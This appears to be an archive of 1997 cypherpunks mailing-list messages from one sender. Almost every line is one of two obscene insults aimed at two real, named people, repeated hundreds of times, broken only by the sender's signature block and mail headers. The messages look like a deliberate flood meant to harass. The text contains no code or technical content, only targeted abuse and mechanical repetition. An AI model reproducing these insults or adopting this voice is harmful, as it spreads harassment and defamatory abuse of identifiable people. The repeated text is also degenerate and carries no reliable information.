Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771119.522827.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771155.523154.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:29:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771133.522944.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771045.522214.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771136.522970.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771086.522541.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:29:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771146.523070.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771007.521850.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:25:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770997.521787.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771054.522275.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
